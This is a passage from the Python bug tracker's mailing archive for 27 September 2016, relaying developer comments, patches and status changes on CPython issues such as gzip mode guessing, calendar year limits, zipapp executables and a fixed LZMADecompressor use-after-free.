https://lwn.net/Articles/633422/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:52:31 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 08:52:31 +0000
Subject: [issue27577] Make implementation and doc of tuple and list more
 compliant
In-Reply-To: <1469002642.37.0.996165914529.issue27577@psf.upfronthosting.co.za>
Message-ID: <1474966351.78.0.337761363264.issue27577@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I would prefer deprecating keyword parameter for list() and tuple(). It is not documented and unlikely used in third party code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27577>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:08:17 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 10:08:17 +0000
Subject: [issue27572] Support bytes-like objects when base is given to int()
In-Reply-To: <1468918576.73.0.596747914515.issue27572@psf.upfronthosting.co.za>
Message-ID: <1474970897.1.0.816706055881.issue27572@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is a patch that deprecates support of bytes-like objects except bytes and bytearray in int(), float(), compile(), eval(), exec(). I'm not arguing for it, this is just for the ground of the discussion.

----------
Added file: http://bugs.python.org/file44840/deprecate_byte_like_support_in_int.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27572>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:13:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 10:13:50 +0000
Subject: [issue27411] Possible different behaviour of explicit and implicit
 __dict__ accessing when involving builtin types' __dict__ descriptors
In-Reply-To: <1467194224.29.0.874639254683.issue27411@psf.upfronthosting.co.za>
Message-ID: <1474971230.29.0.760524963795.issue27411@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

See also issue26906.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27411>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:13:55 2016
From: report at bugs.python.org (Hogren)
Date: Tue, 27 Sep 2016 10:13:55 +0000
Subject: [issue28285] 35.5 - 29.58 = 5.920000000000002 (it's false !)
Message-ID: <1474971235.03.0.505577287103.issue28285@psf.upfronthosting.co.za>


New submission from Hogren:

I was using python as calculator when I enter :
35.5 - 29.58

I am surprising when python give me a result with many decimals:
5.920000000000002

I tried to change one number :
35.5 - 29.57
The result is correct : 5.93

The error is present again when I tried to inverse numbers (29.57-35.5).

The error is again present when I tried to use 35.50 in place of 35.5.



I tested on python 2.7 and 3.4, compiled with gcc 4.9.3, on Gentoo.


Thanks for all who contribute to this good project which is Python !

Hogren

----------
messages: 277511
nosy: Hogren
priority: normal
severity: normal
status: open
title: 35.5 - 29.58 = 5.920000000000002 (it's false !)
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28285>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:18:42 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 10:18:42 +0000
Subject: [issue28285] 35.5 - 29.58 = 5.920000000000002 (it's false !)
In-Reply-To: <1474971235.03.0.505577287103.issue28285@psf.upfronthosting.co.za>
Message-ID: <1474971522.02.0.318366395447.issue28285@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

https://docs.python.org/3/tutorial/floatingpoint.html

----------
nosy: +serhiy.storchaka
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28285>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:23:37 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 10:23:37 +0000
Subject: [issue27572] Support bytes-like objects when base is given to int()
In-Reply-To: <1468918576.73.0.596747914515.issue27572@psf.upfronthosting.co.za>
Message-ID: <1474971817.63.0.230875423326.issue27572@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Removed file: http://bugs.python.org/file44840/deprecate_byte_like_support_in_int.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27572>
_______________________________________

From report at bugs.python.org  Tue Sep 27 06:24:08 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 10:24:08 +0000
Subject: [issue27572] Support bytes-like objects when base is given to int()
In-Reply-To: <1468918576.73.0.596747914515.issue27572@psf.upfronthosting.co.za>
Message-ID: <1474971848.04.0.57161506481.issue27572@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44841/deprecate_byte_like_support_in_int.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27572>
_______________________________________

From report at bugs.python.org  Tue Sep 27 07:51:47 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 11:51:47 +0000
Subject: [issue27275] KeyError thrown by optimised
 collections.OrderedDict.popitem()
In-Reply-To: <1465446835.8.0.930561202137.issue27275@psf.upfronthosting.co.za>
Message-ID: <1474977107.36.0.932057995258.issue27275@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Proposed patch makes the implementation of pop() and popitem() methods of the C implementation of OrderedDict matching the Python implementation. This fixes issue28014 and I suppose this fixes this issue too.

----------
keywords: +patch
stage: test needed -> patch review
versions: +Python 3.7
Added file: http://bugs.python.org/file44842/ordered_dict_subclass_pop.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27275>
_______________________________________

From report at bugs.python.org  Tue Sep 27 07:54:11 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 11:54:11 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1474977251.81.0.673648842478.issue27963@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep 27 08:09:16 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 12:09:16 +0000
Subject: [issue27683] ipaddress subnet slicing iterator malfunction
In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za>
Message-ID: <1474978156.67.0.118828775014.issue27683@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
stage: needs patch -> patch review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27683>
_______________________________________

From report at bugs.python.org  Tue Sep 27 08:24:38 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 12:24:38 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <20160927122430.34406.86446.5A37A4D2@psf.io>


Roundup Robot added the comment:

New changeset 637ce96423ef by Serhiy Storchaka in branch '2.7':
Issue #27963: Fixed possible null pointer dereference in ctypes.set_conversion_mode().
https://hg.python.org/cpython/rev/637ce96423ef

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep 27 08:25:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 12:25:35 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1474979135.33.0.751132200322.issue27963@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
type: security -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep 27 08:25:18 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 12:25:18 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1474979118.76.0.768202316905.issue27963@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep 27 08:42:48 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 12:42:48 +0000
Subject: [issue27100] Attempting to use class with both __enter__ & __exit__
 undefined yields __exit__ attribute error
In-Reply-To: <1464060517.76.0.559675330412.issue27100@psf.upfronthosting.co.za>
Message-ID: <1474980168.27.0.853376097529.issue27100@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27100>
_______________________________________

From report at bugs.python.org  Tue Sep 27 10:01:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 14:01:44 +0000
Subject: [issue28286] gzip guessing of mode is ambiguilous
Message-ID: <1474984904.89.0.353695342219.issue28286@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

gzip.GzipFile can be open in two modes: reading and writing. The mode is specified by the mode parameter, but if it is not specified or is None, the mode is determined by the mode of passed file object. The problem is that the file object can support reading and writing. If the file object is opened with mode "rb", "rb+" or "wb+" (see also issue25341), GzipFile will be opened for reading. If the file object is opened with mode "wb", "ab", "ab+", "xb", or "xb+", GzipFile will be opened for writing. Modes "rb+", "wb+", "ab+" and "xb+" support reading and writing, and GzipFile's choose looks arbitrary.

bz2 and lzma are free from this arbitrariness. The default value of the mode parameter is "r", and they never use file's mode as a guess.

This feature of the gzip module is not tested. Changing the default value of mode to "r" doesn't break gzip tests. But for certainty we should first deprecate this feature before dropping it.

----------
components: Library (Lib)
files: gzip_deprecate_implicit_write.patch
keywords: patch
messages: 277515
nosy: nadeem.vawda, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: gzip guessing of mode is ambiguilous
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44843/gzip_deprecate_implicit_write.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28286>
_______________________________________

From report at bugs.python.org  Tue Sep 27 10:03:30 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 14:03:30 +0000
Subject: [issue21578] Misleading error message when ImportError called with
 invalid keyword args
In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>
Message-ID: <1474985010.89.0.212068213557.issue21578@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ping.

----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Tue Sep 27 10:26:43 2016
From: report at bugs.python.org (Martin Richard)
Date: Tue, 27 Sep 2016 14:26:43 +0000
Subject: [issue28287] Refactor subprocess.Popen to let a subclass handle IO
 asynchronously
Message-ID: <1474986403.83.0.165864194914.issue28287@psf.upfronthosting.co.za>


New submission from Martin Richard:

Hi,

Currently, subprocess.Popen performs blocking IO in its constructor (at least on Unix): it reads on a pipe in order to detect outcome of the pre-exec and exec phase in the new child. There is no way yet to modify this behavior as this blocking call is part of a long Popen._execute_child() method.

This is a problem in asyncio (asyncio.subprocess_exec and asyncio.subprocess_shell).

I would like to submit a patch which breaks Popen.__init__() and Popen._execute_child() in several methods so it becomes possible to avoid blocking calls (read on pipe and waitpid) by overriding a few private methods without duplicating too much code. The goal is to use it in asyncio, as described in this pull request (which currently monkey-patches Popen):
https://github.com/python/asyncio/pull/428

This patch only targets the unix implementation.

Thanks for your feedback.

----------
files: popen_execute_child_refactoring.patch
keywords: patch
messages: 277517
nosy: martius
priority: normal
severity: normal
status: open
title: Refactor subprocess.Popen to let a subclass handle IO asynchronously
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44844/popen_execute_child_refactoring.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28287>
_______________________________________

From report at bugs.python.org  Tue Sep 27 11:38:04 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 27 Sep 2016 15:38:04 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1474990684.25.0.708452708675.issue28115@psf.upfronthosting.co.za>


SilentGhost added the comment:

Jaysinh, you can upload your modified patch, so it can be reviewed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 27 11:59:18 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 15:59:18 +0000
Subject: [issue21578] Misleading error message when ImportError called with
 invalid keyword args
In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>
Message-ID: <1474991958.76.0.996322544816.issue21578@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Serhiy's patch looks good to me.  It would be nice to add a test for multiple invalid keyword arguments:

    with self.assertRaisesRegex(TypeError, msg):
        ImportError('test', invalid='keyword', another=True)

Using empty_tuple seems reasonable to me. Brett and Eric, what do you think?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:02:04 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 16:02:04 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>
Message-ID: <1474992124.22.0.252536675752.issue28283@psf.upfronthosting.co.za>


Berker Peksag added the comment:

> If nobody fixes the unit test, I will revert the change.

I attached a patch that skips the test in case of a timeout in issue 28176. Did you had a chance to take a look at it?

----------
nosy: +berker.peksag
stage:  -> needs patch
type:  -> behavior
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:14:41 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 16:14:41 +0000
Subject: [issue21578] Misleading error message when ImportError called with
 invalid keyword args
In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>
Message-ID: <1474992881.8.0.712954868041.issue21578@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Left a review, but basically LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:14:52 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 16:14:52 +0000
Subject: [issue21578] Misleading error message when ImportError called with
 invalid keyword args
In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>
Message-ID: <1474992892.93.0.175911202816.issue21578@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
assignee: berker.peksag -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:24:06 2016
From: report at bugs.python.org (Roy Williams)
Date: Tue, 27 Sep 2016 16:24:06 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
Message-ID: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>


New submission from Roy Williams:

I'm finding the `-3` flag to be super useful, but it's quite a huge pain to thread it through all of the places that spawn python subprocesses, sometimes requiring forking of third party code.

This would be much simpler if, like PYTHONWARNINGS, Py_Py3kWarningFlag could be specified as an environment variable.

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 277522
nosy: Roy Williams
priority: normal
severity: normal
status: open
title: Expose environment variable for Py_Py3kWarningFlag
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:48:48 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 16:48:48 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474994928.91.0.485324206222.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> The patch LGTM except tests.

What are your issues with the tests?  Did you see the -4 patch?

> But we should at least document the behavior of itermonthdates(), monthdatescalendar() and yeardatescalendar() at corner cases.

I would rather not. At least not before we make under and overflow behavior consistent.  Frankly, I don't see why anyone would want to use these iterators.

----------
stage:  -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 12:52:02 2016
From: report at bugs.python.org (Paul Moore)
Date: Tue, 27 Sep 2016 16:52:02 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1474995122.98.0.578115089089.issue28247@psf.upfronthosting.co.za>


Paul Moore added the comment:

I'm still unsure whether this would be a good idea. On the plus side, it provides (in conjunction with the "embedded" distribution) a really good way of producing a standalone application on Windows. On the minus side there are some limitations which may trip up naive users:

* You can't put C extensions in a zipapp
* You have to take care with things like multiprocessing if you're using an embedded app.

And the wrapper's basically only 4 lines of code:

    wchar_t **myargv = _alloca((__argc + 2) * sizeof(wchar_t*));
    myargv[0] = __wargv[0];
    memcpy(myargv + 1, __wargv, (__argc + 1) * sizeof(wchar_t *));
    return Py_Main(__argc+1, myargv);

so it's not exactly rocket science. (By the way, the arguments to Py_Main are "exactly as those which are passed to a C program?s main" - IIRC, for a C program there's always a NULL pointer at the end of argv, does that rule apply to Py_Main, too? The code doesn't seem to rely on it, so I guess I could save a slot in the array above).

Maybe adding a section to the zipapp docs explaining how to make standalone applications would be a better way of handling this? That would have the advantage of being just as applicable to 3.6 (and 3.5, for that matter) at the cost of making users build their own wrapper (or find a published one).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:10:22 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 17:10:22 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1474996222.37.0.488396353526.issue28247@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I think documentation is definitely the cheapest option. It's also the most flexible since if we find out there's a lot of usage of the guide then we can add explicit support.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:17:35 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 17:17:35 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1474996655.78.0.455444297242.issue28281@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> What's the use case for this?

Why did George Mallory climb Mount Everest? "Because it's there."

We have two open issues complaining about calendar behavior for years 1 and 9999: #28253 and #26650.  There is also a closed issue #15421 that attempted to fix an overflow in the year 9999 only to introduce a silent error.

I don't think there are use cases beyond educational (demonstrating calendar periodicity?) or testing, but since several users bothered to report edge case bugs, it is probably easier to remove the limits than to properly document them.

Fortunately, extending calendar to arbitrary years does not require climbing Mount Everest.  Since the proleptic calendar repeats every 400 years, all we need (assuming issue 28253 patch is applied) is to fix the weekday() function as follows:

 def weekday(year, month, day):
     """Return weekday (0-6 ~ Mon-Sun) for year (1970-...), month (1-12),
        day (1-31)."""
+    if not 0 < year < 10000:
+        year = 2000 + year % 400
     return datetime.date(year, month, day).weekday()

$ ./python.exe -mcalendar 40000 12
   December 40000
Mo Tu We Th Fr Sa Su
             1  2  3
 4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

$ ./python.exe -mcalendar -104 2
   February -104
Mo Tu We Th Fr Sa Su
                1  2
 3  4  5  6  7  8  9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29

We can also treat negative years "properly" so that year 1 is preceded by year -1, but I don't think there is any value in this.

----------
dependencies: +calendar.prcal(9999) output has a problem
keywords: +easy
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:23:41 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 27 Sep 2016 17:23:41 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474992124.22.0.252536675752.issue28283@psf.upfronthosting.co.za>
Message-ID: <64B302FF-39F9-469B-8E9D-53D996E33E3A@gmail.com>


Yury Selivanov added the comment:

Berker, I think it's an OK workaround. The test is kind of unstable, to the point of me thinking to just remove it (keeping the rest of the patch applied). Feel free to apply it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:24:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 17:24:55 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <20160927172444.81426.4239.8C7E0BC4@psf.io>


Roundup Robot added the comment:

New changeset b4c0e733b342 by Serhiy Storchaka in branch '3.5':
Issue #28275: Fixed possible use adter free in LZMADecompressor.decompress().
https://hg.python.org/cpython/rev/b4c0e733b342

New changeset 52f8eb2fa6a6 by Serhiy Storchaka in branch '3.6':
Issue #28275: Fixed possible use adter free in LZMADecompressor.decompress().
https://hg.python.org/cpython/rev/52f8eb2fa6a6

New changeset 6117d0e1a5c9 by Serhiy Storchaka in branch 'default':
Issue #28275: Fixed possible use adter free in LZMADecompressor.decompress().
https://hg.python.org/cpython/rev/6117d0e1a5c9

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:28:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 17:28:00 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474997280.21.0.675828070789.issue28275@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Committed with small changes. Thank you John for your contribution.

Tested that 3.4 is not affected.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:42:51 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 17:42:51 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474998171.68.0.218049891142.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Something went wrong with issue28253-4.diff.  I'll investigate and replace.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:52:20 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 17:52:20 +0000
Subject: [issue21578] Misleading error message when ImportError called with
 invalid keyword args
In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>
Message-ID: <20160927175217.13359.51417.B25331EA@psf.io>


Roundup Robot added the comment:

New changeset 9b8f0db1944f by Serhiy Storchaka in branch '3.5':
Issue #21578: Fixed misleading error message when ImportError called with
https://hg.python.org/cpython/rev/9b8f0db1944f

New changeset 95549f4970d0 by Serhiy Storchaka in branch '3.6':
Issue #21578: Fixed misleading error message when ImportError called with
https://hg.python.org/cpython/rev/95549f4970d0

New changeset 59268ac85f4e by Serhiy Storchaka in branch 'default':
Issue #21578: Fixed misleading error message when ImportError called with
https://hg.python.org/cpython/rev/59268ac85f4e

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:56:40 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 17:56:40 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474998999.99.0.769994175987.issue28253@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


Added file: http://bugs.python.org/file44845/issue28253-4.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:56:49 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 17:56:49 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474999009.45.0.852315094112.issue28253@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


Removed file: http://bugs.python.org/file44837/issue28253-4.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 13:58:30 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 17:58:30 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474999110.84.0.577694146278.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

issue28253-4.diff should be good now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:02:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 18:02:52 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
Message-ID: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

ImportError.__init__ sets only specified attributes ("msg", "name" or "path"), and left not explicitly specified attributes unchanged.

>>> err = ImportError('test', name='name')
>>> err.args, err.msg, err.name, err.path
(('test',), 'test', 'name', None)
>>> err.__init__(path='path')
>>> err.args, err.msg, err.name, err.path
((), 'test', 'name', 'path')

In above example err.__init__(path='path') sets attributes "args" and "path", but not "msg" and "name".

I'm not sure whether can this be considered as a bug.

----------
components: Interpreter Core
messages: 277533
nosy: brett.cannon, eric.snow, ncoghlan, serhiy.storchaka
priority: normal
severity: normal
status: open
title: ImportError.__init__ doesn't reset not specified exception attributes
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:03:54 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 18:03:54 +0000
Subject: [issue21578] Misleading error message when ImportError called with
 invalid keyword args
In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>
Message-ID: <1474999434.51.0.72910259752.issue21578@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Added a test for multiple invalid keyword arguments, added braces, fixed a leak.

But there is other oddity in ImportError constructor (issue28289).

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:19:41 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 18:19:41 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1475000381.46.0.884362388835.issue27873@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I think we can add a note for starmap() in the following sentence:

> [...] (it supports only one iterable argument though).

(Quoted from https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.map)

Would you like to write a patch?

----------
components: +Documentation -Interpreter Core
keywords: +easy
nosy: +berker.peksag
stage:  -> needs patch
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

